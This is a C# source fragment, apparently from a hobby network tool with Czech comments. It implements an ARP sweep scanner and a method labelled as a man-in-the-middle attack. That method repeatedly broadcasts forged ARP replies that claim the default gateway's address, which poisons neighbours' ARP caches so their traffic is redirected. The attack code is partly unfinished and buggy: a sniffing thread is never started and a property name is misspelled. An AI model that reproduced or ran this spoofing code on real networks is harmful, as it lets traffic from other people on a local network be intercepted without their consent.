// útok man in the middle (TODO nějak zařídit routování packetů co přijdou) public void MITM() { // pokus o todo new Thread(new ThreadStart ( delegate() { using (PacketCommunicator pc = Device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000)) { var result = pc.ReceivePacket(out Packet p); if (result == PacketCommunicatorReceiveResult.Ok) { if (UIntToIp(p.Ethernet.IpV4.Destination.ToValue()).ToString() == DefaultGw.ToString() || InNetwork(UIntToIp(p.Ethernet.IpV4.Destination.ToValue()))) { #if DEBUG Console.WriteLine("foreign packet"); #endif p.Ethernet.GetType().GetProperty("Destionation").SetValue(p.Ethernet, new MacAddress(Devices.First(x => x.IpAddr.ToString() == DefaultGw.ToString()).HardwareAddrString)); } } } } )); using (PacketCommunicator pc = Device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000)) { while (true) { Packet p = PacketBuilder.Build ( DateTime.Now, new EthernetLayer { EtherType = EthernetType.None, Destination = new MacAddress("ff:ff:ff:ff:ff:ff"), Source = new MacAddress(PhysicalAddrString) }, new ArpLayer { Operation = ArpOperation.Reply, ProtocolType = EthernetType.IpV4, SenderHardwareAddress = Array.AsReadOnly(PhysicalAddr.GetAddressBytes()), SenderProtocolAddress = Array.AsReadOnly(DefaultGw.GetAddressBytes()), TargetHardwareAddress = Array.AsReadOnly(new byte[] { 255, 255, 255, 255, 255, 255 }), TargetProtocolAddress = Array.AsReadOnly(BroadCast.GetAddressBytes()) } ); pc.SendPacket(p); Thread.Sleep(5000); } } }
public Network() { var tmp = NetworkInterface.GetAllNetworkInterfaces().FirstOrDefault(x => x.OperationalStatus == OperationalStatus.Up).GetIPProperties(); PhysicalAddr = NetworkInterface.GetAllNetworkInterfaces().FirstOrDefault(x => x.OperationalStatus == OperationalStatus.Up).GetPhysicalAddress(); PhysicalAddrString = Split(PhysicalAddr.ToString()); DefaultGw = tmp.GatewayAddresses[0].Address; Address = tmp.UnicastAddresses[1].Address; NetMask = tmp.UnicastAddresses[1].IPv4Mask; BroadCast = GetBroadCast(); NetworkAddr = GetNetwork(); DNS = tmp.DnsAddresses.ToArray(); Device = LivePacketDevice.AllLocalMachine.FirstOrDefault(x => x.Addresses[1].Address.ToString().Contains(Address.ToString())); NewDeviceHandle += delegate() { Console.WriteLine("new device"); }; }
// proscanování sítě pomocí arp public Device[] Scan(IPAddress start, IPAddress end, int tries) { List <Device> devices = new List <Device>(); bool tmp = true; // zaznamenávání příchozích packetů new Thread(new ThreadStart(delegate() { using (PacketCommunicator pc = Device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000)) { while (tmp) { var result = pc.ReceivePacket(out Packet p); if (result == PacketCommunicatorReceiveResult.Ok) { if (p.Ethernet.EtherType == EthernetType.Arp && p.Ethernet.Arp.Operation == ArpOperation.Reply) { var temp = new Device(p.Ethernet.Arp.SenderProtocolAddress.ToArray(), p.Ethernet.Arp.SenderHardwareAddress.ToArray(), null); //Console.WriteLine(temp.ToString()); if (!devices.Any(x => x.Compare(temp))) { devices.Add(temp); } } } } } })).Start(); // vysílání arp packetů using (PacketCommunicator pc = Device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000)) { for (int i = 0; i < tries; i++) { foreach (var addr in PosibleAddresses(start, end)) { Packet p = PacketBuilder.Build ( DateTime.Now, new EthernetLayer { EtherType = EthernetType.None, Destination = new MacAddress("ff:ff:ff:ff:ff:ff"), Source = new MacAddress(PhysicalAddrString) }, new ArpLayer { Operation = ArpOperation.Request, ProtocolType = EthernetType.IpV4, SenderHardwareAddress = Array.AsReadOnly(PhysicalAddr.GetAddressBytes()), SenderProtocolAddress = Array.AsReadOnly(Address.GetAddressBytes()), TargetHardwareAddress = Array.AsReadOnly(new byte[] { 255, 255, 255, 255, 255, 255 }), TargetProtocolAddress = Array.AsReadOnly(addr.GetAddressBytes()) } ); pc.SendPacket(p); #if DEBUG Console.WriteLine(addr.ToString()); #endif } } tmp = false; } return(devices.ToArray()); }